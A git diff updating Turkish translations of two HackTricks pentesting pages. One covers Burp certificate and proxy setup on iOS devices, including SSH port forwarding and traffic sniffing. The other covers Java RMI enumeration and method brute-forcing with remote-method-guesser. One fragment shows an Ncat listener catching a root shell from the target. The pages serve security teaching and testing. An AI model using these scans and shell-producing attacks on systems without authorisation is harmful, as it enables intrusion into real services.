+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## iOS Cihazlarda Burp Sertifikasının Yüklenmesi
+## iOS Cihazlarında Burp Sertifikasının Yüklenmesi
-iOS cihazlarda güvenli web trafiği analizi ve SSL pinning için Burp Suite, **Burp Mobile Assistant** veya manuel yapılandırma yoluyla kullanılabilir. İki yöntem hakkında özetlenmiş bir kılavuz aşağıda verilmiştir:
+iOS cihazlarda güvenli web trafiği analizi ve SSL pinning için, Burp Suite ya **Burp Mobile Assistant** aracılığıyla ya da manuel yapılandırma ile kullanılabilir. İşte her iki yöntem için özetlenmiş bir kılavuz:
### Burp Mobile Assistant ile Otomatik Yükleme
-**Burp Mobile Assistant**, Burp Sertifikası, proxy yapılandırması ve SSL Pinning'in kurulum sürecini basitleştirir. Detaylı rehberlik için [PortSwigger'ın resmi belgelerine](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bakabilirsiniz.
+
+**Burp Mobile Assistant**, Burp Sertifikası'nın yüklenmesi, proxy yapılandırması ve SSL Pinning işlemini basitleştirir. Detaylı rehberliği [PortSwigger'ın resmi belgelerinde](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bulabilirsiniz.
### Manuel Yükleme Adımları
-1. **Proxy Yapılandırması:** İPhone'un Wi-Fi ayarları altında Burp'u proxy olarak ayarlayarak başlayın.
-2. **Sertifika İndirme:** Cihazınızın tarayıcısında `http://burp` adresine giderek sertifikayı indirin.
-3. **Sertifika Yüklemesi:** İndirilen profilin **Ayarlar** > **Genel** > **VPN ve Cihaz Yönetimi** altından yükleyin ve ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin.
+
+1. **Proxy Yapılandırması:** İlk olarak, iPhone'un Wi-Fi ayarları altında Burp'u proxy olarak ayarlayarak başlayın.
+2. **Sertifika İndirme:** Cihazınızın tarayıcısında sertifikayı indirmek için `http://burp` adresine gidin.
+3. **Sertifika Yüklemesi:** İndirilen profili **Ayarlar** > **Genel** > **VPN ve Cihaz Yönetimi** altından yükleyin, ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin.
### İnterception Proxy Yapılandırma
-Bu yapılandırma, iOS cihazı ile internet arasındaki trafiği Burp üzerinden analiz etmeyi sağlar ve istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Kullanılamıyorsa, usbmuxd aracılığıyla USB bağlantısı alternatif olarak kullanılabilir. PortSwigger'ın eğitimleri, [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yüklemesi](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) konusunda detaylı talimatlar sağlar.
-### Jailbreakli Cihazlar için Gelişmiş Yapılandırma
-Jailbreakli cihazlara sahip kullanıcılar için SSH üzerinden USB (via **iproxy**) doğrudan trafiği Burp üzerinden yönlendirmek için bir yöntem sunar:
+Bu yapılandırma, iOS cihazı ile internet arasındaki trafiğin Burp üzerinden analiz edilmesini sağlar, istemci-istemci trafiğını destekleyen bir Wi-Fi ağı gerektirir. Mevcut değilse, usbmuxd aracılığıyla bir USB bağlantısı alternatif olarak hizmet verebilir. PortSwigger'ın eğitimleri [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yüklemesi](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) hakkında detaylı talimatlar sağlar.
+
+### Jailbreak Yapılmış Cihazlar için Gelişmiş Yapılandırma
+
+Jailbreak yapılmış cihazlara sahip kullanıcılar için, SSH üzerinden USB (via **iproxy**) doğrudan trafiği Burp üzerinden yönlendirmek için bir yöntem sunar:
+
+1. **SSH Bağlantısı Kurma:** SSH'yi localhost'a yönlendirmek için iproxy kullanarak SSH bağlantısı kurun, böylece iOS cihazından Burp çalıştıran bilgisayara bağlantı sağlanır.
-1. **SSH Bağlantısı Kurma:** iproxy kullanarak SSH'yi localhost'a yönlendirerek iOS cihazından Burp çalıştıran bilgisayara bağlantıya izin verin.
```bash
iproxy 2222 22
```
-2. **Uzaktan Port Yönlendirme:** iOS cihazının 8080 numaralı bağlantı noktasını bilgisayarın localhost'una yönlendirerek Burp'un arayüzüne doğrudan erişimi etkinleştirin.
+2. **Uzak Port Yönlendirme:** iOS cihazının 8080 portunu bilgisayarın localhost'una yönlendirerek Burp'un arayüzüne doğrudan erişimi sağlamak için.
+
```bash
ssh -R 8080:localhost:8080 root@localhost -p 2222
```
-3. **Genel Proxy Ayarı:** Son olarak, iOS cihazının Wi-Fi ayarlarını manuel bir proxy kullanacak şekilde yapılandırarak tüm web trafiğini Burp üzerinden yönlendirin.
-
+3. **Global Proxy Ayarı:** Son olarak, iOS cihazının Wi-Fi ayarlarını manuel bir proxy kullanacak şekilde yapılandırarak tüm web trafiğini Burp üzerinden yönlendirin.
### Tam Ağ İzleme/Sniffing
-iOS cihazlarda HTTP olmayan cihaz trafiğinin izlenmesi, tüm veri trafiğini yakalayabilen bir araç olan **Wireshark** kullanılarak verimli bir şekilde gerçekleştirilebilir. iOS cihazlar için gerçek zamanlı trafik izlemesi, bir Uzak Sanal Arayüz oluşturarak kolaylaştırılır ve bu işlem [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) ayrıntılı olarak açıklanmıştır. Başlamadan önce, bir macOS sisteminde **Wireshark**'ın kurulu olması gerekmektedir.
+**Wireshark** kullanılarak HTTP olmayan cihaz trafiğinin izlenmesi etkili bir şekilde gerçekleştirilebilir, tüm veri trafiğini yakalayabilen bir araçtır. iOS cihazlar için, gerçek zamanlı trafik izleme, bir Uzak Sanal Arayüz oluşturularak kolaylaştırılır, bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylı olarak açıklanmıştır. Başlamadan önce, macOS sistemine **Wireshark**'ın yüklenmesi gerekmektedir.
-İşlem birkaç önemli adım içerir:
+Prosedür birkaç temel adımı içerir:
-1. iOS cihazı ile macOS ana bilgisayar arasında USB aracılığıyla bir bağlantı başlatın.
-2. Trafik izlemek için iOS cihazının **UDID**'sini belirleyin. Bu, macOS Terminalinde bir komut çalıştırılarak yapılabilir:
+1. iOS cihazı ile macOS ana bilgisayar arasında USB üzerinden bir bağlantı başlatın.
+2. Trafik izleme için gerekli olan iOS cihazının **UDID**'sini belirleyin. Bu, macOS Terminal'de bir komut çalıştırılarak yapılabilir:
```bash
$ rvictl -s
Starting device [SUCCEEDED] with interface rvi0
```
-3. UDID'nin tespit edilmesinden sonra, **Wireshark** açılmalı ve veri yakalamak için "rvi0" arayüzü seçilmelidir.
-4. Belirli bir IP adresiyle ilgili HTTP trafiğini yakalamak gibi hedeflenen izleme için, Wireshark'ın Yakalama Filtreleri kullanılabilir:
+3. UDID'nin tespitinden sonra, **Wireshark** açılmalı ve veri yakalamak için "rvi0" arayüzü seçilmelidir.
+4. Belirli bir IP adresi ile ilgili HTTP trafiğini yakalamak gibi hedefli izleme için, Wireshark'ın Yakalama Filtreleri kullanılabilir:
-## Simülatöre Burp Sertifikası Yükleme
+## Simülatöre Burp Sertifikası Kurulumu
* **Burp Sertifikasını Dışa Aktar**
-_Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER formatında sertifika_
+_Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER formatında Sertifika_
![](<../../.gitbook/assets/image (459).png>)
* Sertifikayı Emülatöre **sürükleyip bırakın**
-* **Emülatör içinde** _Ayarlar_ --> _Genel_ --> _Profil_ --> _PortSwigger CA_'ya gidin ve **sertifikayı doğrulayın**
-* **Emülatör içinde** _Ayarlar_ --> _Genel_ --> _Hakkında_ --> _Sertifika Güven Ayarları_'na gidin ve **PortSwigger CA'yı etkinleştirin**
+* **Emülatörde**, _Ayarlar_ --> _Genel_ --> _Profil_ --> _PortSwigger CA_, ve **sertifikayı doğrulayın**
+* **Emülatörde**, _Ayarlar_ --> _Genel_ --> _Hakkında_ --> _Sertifika Güven Ayarları_, ve **PortSwigger CA'yı etkinleştirin**
![](<../../.gitbook/assets/image (460).png>)
@@ -90,32 +95,32 @@ _Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER format
Burp'u proxy olarak yapılandırma adımları:
-* _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_ bölümüne gidin
+* _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_ gidin
* _Proxyler_ sekmesinde _Web Proxy (HTTP)_ ve _Güvenli Web Proxy (HTTPS)_ işaretleyin
-* Her iki seçenekte de _127.0.0.1:8080_ olarak yapılandırın
+* Her iki seçenekte de _127.0.0.1:8080_ şeklinde yapılandırın
![](<../../.gitbook/assets/image (461).png>)
-* _**Tamam**_ düğmesine tıklayın ve _**Uygula**_ düğmesine tıklayın
+* _**Tamam**_ düğmesine tıklayın ve _**Uygula**_ düğmesine basın
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturmayı ve otomatikleştirmeyi kolayca yapın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
+htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin!
HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklam vermek isterseniz veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
-* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github reposuna PR göndererek **hacking hilelerinizi paylaşın**.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
diff --git a/network-services-pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md
index b3785f637..a21970d03 100644
--- a/network-services-pentesting/1099-pentesting-java-rmi.md
+++ b/network-services-pentesting/1099-pentesting-java-rmi.md
@@ -2,29 +2,29 @@
-AWS hacklemeyi sıfırdan kahramanla öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
+AWS hacklemeyi sıfırdan kahramana öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com)
+* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+[**Trickest**]'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Temel Bilgiler
-_Java Uzak Yöntem Çağrısı_ veya _Java RMI_, bir _Java sanal makinesi_ üzerinde bulunan bir nesnenin başka bir _Java sanal makinesi_ üzerinde bulunan bir nesne üzerinde yöntem çağırmasına izin veren nesne yönelimli bir _RPC_ mekanizmasıdır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtık uygulamalar yazmalarını sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir giriş [bu blackhat konuşmasında](https://youtu.be/t\_aw1mDNhzI?t=202) bulunabilir.
+_Java Uzak Yöntem Çağrısı_, veya _Java RMI_, bir nesne odaklı _RPC_ mekanizmasıdır ve bir _Java sanal makinesinde_ bulunan bir nesnenin başka bir _Java sanal makinesinde_ bulunan bir nesnedeki yöntemleri çağırmasına izin verir. Bu, geliştiricilere nesne odaklı bir paradigma kullanarak dağıtılmış uygulamalar yazmalarını sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir tanıtım [bu blackhat sunumunda](https://youtu.be/t\_aw1mDNhzI?t=202) bulunabilir.
**Varsayılan port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@@ -34,20 +34,20 @@ PORT STATE SERVICE VERSION
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
-Genellikle, yalnızca varsayılan _Java RMI_ bileşenleri (_RMI Registry_ ve _Activation System_) yaygın portlara bağlanır. Gerçek _RMI_ uygulamasını uygulayan _uzak nesneler_ genellikle yukarıdaki çıktıda gösterildiği gibi rastgele portlara bağlanır.
+Genellikle, yalnızca varsayılan _Java RMI_ bileşenleri (_RMI Registry_ ve _Activation System_) ortak bağlantı noktalarına bağlanır. Gerçek _RMI_ uygulamasını uygulayan _uzak nesneler_ genellikle yukarıdaki çıktıda gösterildiği gibi rastgele bağlantı noktalarına bağlanır.
-_nmap_, bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk yaşayabilir. Yaygın bir _RMI_ portunda bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmanız gerekmektedir.
+_nmap_ bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk çeker. Ortak bir _RMI_ bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız.
## RMI Bileşenleri
-Basit bir ifadeyle, _Java RMI_, bir geliştiricinin bir _Java nesnesini_ ağ üzerinde kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesne üzerinde yöntemleri çağırabileceği bir _TCP_ portu açar. Bu basit gibi görünse de, _Java RMI_ tarafından çözülmesi gereken birkaç zorluk vardır:
+Basitçe ifade etmek gerekirse, _Java RMI_ bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesnede yöntemleri çağırabileceği bir _TCP_ bağlantı noktası açar. Bu basit gibi görünse de, _Java RMI_ nin çözmesi gereken birkaç zorluk vardır:
-1. Bir yöntem çağrısını _Java RMI_ aracılığıyla yönlendirmek için istemcilerin hedeflenen nesnenin IP adresini, dinleme portunu, uygulanan sınıfı veya arabirimini ve `ObjID`'yi (hedeflenen nesnenin ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. Birden fazla nesnenin aynı _TCP_ portunda dinlemesine izin verir) bilmeleri gerekir.
-2. Uzak istemciler, açığa çıkarılan nesne üzerinde yöntemleri çağırarak sunucuda kaynaklar tahsis edebilir. _Java sanal makinesi_, bu kaynaklardan hangilerinin hala kullanımda olduğunu ve hangilerinin çöp toplama işlemine tabi tutulabileceğini takip etmelidir.
+1. Bir yöntem çağrısını _Java RMI_ aracılığıyla yönlendirmek için, istemcilerin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimi ve hedeflenen nesnenin `ObjID` değerini ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_, aynı _TCP_ bağlantı noktasında dinleyen birden fazla nesneye izin verdiği için gereklidir).
+2. Uzak istemciler, açığa çıkarılan nesne üzerinde yöntemleri çağırarak sunucuda kaynaklar ayırabilir. _Java sanal makinesi_, bu kaynakların hangisinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini takip etmelidir.
-İlk zorluk, temel olarak _Java RMI_ için bir isimlendirme hizmeti olan _RMI registry_ tarafından çözülür. _RMI registry_ kendisi de bir _RMI hizmeti_ olmasına rağmen, uygulanan arabirim ve `ObjID` sabittir ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin yalnızca ilgili _TCP_ portunu bilerek _RMI_ kaydını tüketmesine olanak tanır.
+İlk zorluk, temelde bir _Java RMI_ için bir isimlendirme hizmeti olan _RMI kaydı_ tarafından çözülür. _RMI kaydı_ kendisi aynı zamanda bir _RMI hizmeti_ olmasına rağmen, uygulanan arabirim ve `ObjID` sabit ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin ilgili _TCP_ bağlantı noktasını bilerek _RMI_ kaydını tüketmelerine olanak tanır.
-Geliştiriciler, _Java nesnelerini_ ağ içinde kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI registry_'e bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme portu, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında (bağlı isim) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI registry_'den ilgili _bağlı ismi_ isteyebilir ve registry, bağlanmak için gereken tüm bilgileri döndürür. Bu nedenle, durum aslında sıradan bir _DNS_ hizmetiyle aynıdır. Aşağıdaki örnek küçük bir örneği göstermektedir:
+Geliştiriciler, _Java nesnelerini_ ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI kaydına_ bağlarlar. _Kayıt_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında ( _bağlı isim_) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI kaydından_ ilgili _bağlı ismi_ isteyerek kayıttan bağlantı için gerekli tüm bilgileri alır. Dolayısıyla, durum temelde normal bir _DNS_ hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@@ -71,19 +71,19 @@ e.printStackTrace();
}
}
```
-Yukarıda bahsedilen zorluklardan ikincisi, _Dağıtılmış Garbage Collector_ (_DGC_) tarafından çözülür. Bu, her bir _RMI uç noktasında_ bulunan ve iyi bilinen bir `ObjID` değerine sahip başka bir _RMI servisidir_. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzak nesnenin_ kullanımda olduğuna dair bir bilgiyi _DGC_'ye gönderir. _DGC_ daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.
+Yukarıda bahsedilen zorluklardan ikincisi _Dağıtılmış Çöp Toplayıcı_ (_DGC_) tarafından çözülür. Bu, iyi bilinen bir `ObjID` değerine sahip başka bir _RMI servisi_ ve temelde her _RMI uç noktasında_ mevcuttur. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzak nesnenin_ kullanımda olduğuna dair bir bilgiyi _DGC_'ye gönderir. _DGC_, referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.
-Eski _Activation System_ ile birlikte, bunlar _Java RMI_'nın üç varsayılan bileşenidir:
+Eski _Aktivasyon Sistemi_ ile birlikte, bunlar _Java RMI_'nın üç varsayılan bileşenidir:
1. _RMI Kayıt Defteri_ (`ObjID = 0`)
-2. _Activation System_ (`ObjID = 1`)
-3. _Dağıtılmış Garbage Collector_ (`ObjID = 2`)
+2. _Aktivasyon Sistemi_ (`ObjID = 1`)
+3. _Dağıtılmış Çöp Toplayıcı_ (`ObjID = 2`)
-_Java RMI_'nın varsayılan bileşenleri, eski _Java_ sürümlerinde bir süredir bilinen saldırı vektörleridir ve birden fazla güvenlik açığı bulunmaktadır. Bir saldırgan perspektifinden, bu varsayılan bileşenler ilgi çekicidir, çünkü bilinen sınıfları / arabirimleri uygularlar ve onlarla etkileşim kurmak kolaydır. Bu durum, özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, önceden ilgili yöntem imzasını bilmek gerekmektedir. Var olan bir yöntem imzasını bilmeden, bir _RMI servisiyle_ iletişim kurmanın bir yolu yoktur.
+_Java RMI_'nın varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuştur ve eski _Java_ sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak kolaydır. Bu durum özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir _RMI servisiyle_ iletişim kurmanın bir yolu yoktur.
## RMI Numaralandırma
-[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser), yaygın _RMI güvenlik açıklarını_ otomatik olarak tanımlayabilen bir _Java RMI_ zafiyet tarama aracıdır. Bir _RMI_ uç noktası tespit ettiğinizde, bunu denemelisiniz:
+[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser), otomatik olarak yaygın _RMI zayıflıklarını_ tanımlayabilen bir _Java RMI_ zayıflık tarayıcısıdır. Bir _RMI_ uç noktası tanımladığınızda, denemelisiniz:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
@@ -143,9 +143,9 @@ $ rmg enum 172.17.0.2 9010
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
-Sorgulama eyleminin çıktısı, projenin [belgelendirme sayfalarında](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) daha detaylı olarak açıklanmaktadır. Sonuca bağlı olarak, tespit edilen zayıflıkları doğrulamak için denemeler yapmalısınız.
+Enumeration eyleminin çıktısı projenin [belgelendirme sayfalarında](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) daha detaylı bir şekilde açıklanmaktadır. Sonuca bağlı olarak tanımlanan zafiyetleri doğrulamaya çalışmalısınız.
-_remote-method-guesser_ tarafından gösterilen `ObjID` değerleri, hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zayıflıkları tespit etmeye yardımcı olabilir:
+_remote-method-guesser_ tarafından gösterilen `ObjID` değerleri hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zafiyetleri tanımlamaya olanak tanır:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
@@ -156,11 +156,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
-## Uzak Yöntemleri Bruteforce Etme
+## Uzak Metotları Kaba Kuvvet Yöntemiyle Deneme
-Numaralandırma sırasında herhangi bir zayıflık tespit edilmese bile, mevcut _RMI_ hizmetleri tehlikeli işlevleri ortaya çıkarabilir. Dahası, _RMI_ varsayılan bileşenlere yapılan _RMI_ iletişimi, serileştirme filtreleri tarafından korunurken, özel _RMI_ hizmetleriyle iletişim kurulduğunda, bu tür filtreler genellikle mevcut değildir. _RMI_ hizmetlerinde geçerli yöntem imzalarını bilmek bu nedenle değerlidir.
+Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlere koruma sağlasa da, özel _RMI_ hizmetleriyle iletişim kurulduğunda bu tür filtreler genellikle mevcut değildir. Geçerli metod imzalarını bilmek _RMI_ hizmetlerinde değerli olabilir.
-Ne yazık ki, _Java RMI_, _uzak nesnelerde_ yöntemleri numaralandırmayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla yöntem imzalarını bruteforce etmek mümkündür:
+Ne yazık ki, _Java RMI_, _uzak nesnelerde_ metodları sıralamayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla metod imzalarını kaba kuvvet yöntemiyle denemek mümkündür:
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@@ -218,18 +218,18 @@ Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
-Daha fazla bilgi bu makalelerde bulunabilir:
+Daha fazla bilgi şu makalelerde bulunabilir:
-* [JEP 290'dan sonra Java RMI hizmetlerine saldırma](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
-* [Yöntem Tahmini](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
+* [JEP 290'dan sonra Java RMI servislerine saldırı](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
+* [Metod Tahmini](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
-Tahmin etmenin yanı sıra, karşılaşılan bir RMI hizmetinin arayüzünü veya hatta uygulamasını arama motorlarında veya _GitHub_ üzerinde de aramalısınız. Burada, "bound name" ve uygulanan sınıf veya arayüzün adı yardımcı olabilir.
+Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya _GitHub_ üzerinde de bakmalısınız. _Bound name_ ve uygulanan sınıfın veya arayüzün adı burada faydalı olabilir.
